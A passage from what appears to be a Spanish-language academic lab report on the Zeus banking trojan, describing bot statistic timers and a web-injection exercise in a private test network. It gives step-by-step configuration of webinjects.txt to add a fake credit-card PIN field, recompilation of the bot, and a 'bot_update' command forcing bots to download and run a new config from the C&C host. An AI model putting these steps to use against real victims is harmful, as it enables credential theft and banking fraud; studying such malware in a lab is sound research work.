• timer_stats: Esta opción le dice al robot con qué frecuencia enviar las estadísticas de las víctimas. El tipo de estadísticas que se envían son el estado en línea, puertos abiertos, servicios, estado SOCKS, estado NAT y capturas de pantalla. Por defecto los valores están puestos en un tiempo máximo de 20 minutos y un minimo de 1. Vamos a poner un máximo de 2 minutos y un minimo de 1.
4.7
Práctica de web injection
Para esta practica tenemos que modificar el archivo “webinjects.txt” [39]. En dicho archivo se alojan las webs que quieren modificarse en las víctimas a través de una inyección de datos. El principio de funcionamiento de un ataque web injection es el siguiente:
1. La víctima visita una página web donde existe unos campos de introdución de datos para autenticarse (por ejemplo, usuario y contraseña).
2. El bot comprueba si la página visitada esta entre las que el tiene que “vigilar”. Si es asi busca los datos marcados dentro de esa web a inyectar.
3. El bot se interpone entre las comunicaciones del servidor web legitimo y el “front-end” (imagen web que se le presenta a la víctima) e inyecta los campos marcados en el archivo “webinject.txt” (se usó en la compilación del archivo “config.bin” que posee el bot) para que
se le presenten a la víctima los campos reales y el campo inyectado malicioso. 4. La víctima introduce todos los datos que le solicita la web inyectada.
5. Todos los datos son enviados en texto plano al servidor C&C y tambien al servidor web legit- imo con lo que el usuario accedería bien al recurso solicitado ignorando que ha introducido datos adicionales.
En nuestro ejemplo hemos configurado un servidor web (XAMPP) en una máquina llamada “víctima” que, aunque es un nombre un poco confuso, se ha llamado asi porque aparte de un
servidor web servirá para intentar realizar sobre ella mas adelante un ataque DDoS. Los pasos para configurar nuestra práctica de webinjection son los siguientes:
1. Modificar el archivo “webinjections.txt” para introducirle la web a inyectar con los siguientes parámetros (ver imagen):
a) set_url – > le asignamos la URL que hay que “controlar”.
En nuestro casohttp://192.168.99.101/version_NO_SQLi/practica_bbdd/login.php. b) data_before – > datos buscados en la web “original” y donde después inyectare- mos los nuestros. En nuestro caso buscamos una etiqueta con nombre “username” (name=”username”).
c) data_inject – > datos a inyectar. En nuestro caso inyectamos un campo similar a los legitimos pero en el que pedimos el código PIN de una supuesta tarjeta de crédito.
<tr><td>PIN_Code:</td><td><input type=“text” name=“PINCode” id=“PINCode”/></tr>. 2. Volver a compilar los archivos “config.bin” y “bot.exe” y guardarlos donde son accesibles a
los bots (configurado en el archivo “config.txt” y ya explicado anteriormente).
3. Crear un script para ser lanzado a todos los bots en el que se les solicite que actualicen sus archivos de configuración. La sintaxis esbot_update http://192.168.99.1/Zeus_2/config.bin -f. Donde:
a) bot_update – > es el comando que deben de ejecutar los bots.
b) URL – > Es la dirección donde se encuetra el archivo .bin de configuración.
c) -f – > Parámetro que fuerza a los bots a descargarse y ejecutarlo, es decir que se actualicen inmediatamente.
4. Despues de enviar ese script y ser ejecutado por los bots la inyección web nueva ya esta configurada.
Figure 4.20: Acceso web modificado. Podemos ver en la imagen 4.21 el script antes de ser
ejecutado y el acceso a la web antes de este envio. A continuación, vemos la imagen 4.20 con el campo nuevo inyectado.
Para obtener los datos debemos buscar (esperando un poco a que nos los mande el bot) en el menú de “search database” y en la petición http marcada abrirla donde veremos todos los datos introducidos por el usuario. Si realizamos un análisis con WireShark de esta tráfico en- tre la máquina víctima el servidor legitimo y el servidor C&C observamos que la máquina zombi envía TODOS
los campos al servidor legitimo. Es decir, le envia los datos solicitados y los que se han inyectado. El funcionamiento habitual de un servidor/servicio web es recoger los datos que se han solicitado y no recoger datos adicionales que se puedan haber introducido (puesto que desconoce que existan más). En la imagen 4.22 podemos ver el envio de información entre el dispositivo víctima/zombi y el servidor legítimo. Observamos que se le ha envido “username”, “PINCode” y “password” asi como sus valores correspondientes (método POST).
Sin embargo, en la imagen 4.23 comprobamos que no podemos ver lo que envía el bot de el ordenador víctima al servidor C&C ya que esta el texto cifrado. Asumimos que es dicha información ya que utiliza un método POST a “Zeus_2/gate.php” y en el encabezado hace ref- erencia al navegador mozilla. Ademas se produce al minuto o minuto y medio de la acción
4.7. PRÁCTICA DE WEB INJECTION
Figure 4.21: Script y acceso web antes de ejecutarse.
(Servidor C&C web injection.)
(Tráfico web injection al servidor legítimo.)
Figure 4.22: Resultados Web injection. anterior y como se han modificado los
tiempos (entre 1 y 2 minutos) se tiene dicha certeza cuando nos dirigimos al servidor C&C y comprobamos que ya ten- emos esa información. Hay que tener en cuenta que la comunicación para el en- vio de información siempre es a través de “Zeus_2/gate.php” portocolo http y método
POST.
Una cuestión interesante es que sucede cuando las comunicaciones a in- terceptar se producen a través del pro- tocolo https (SSL). Zeus hace una inter- ceptación de los datos antes del envio y de su cifrado. Asi pues es ilusoria la sen- sación de seguridad a través del protocolo SSL ya que el bot de Zeus realiza el pro- ceso de keylogger en la propia máquina zombi.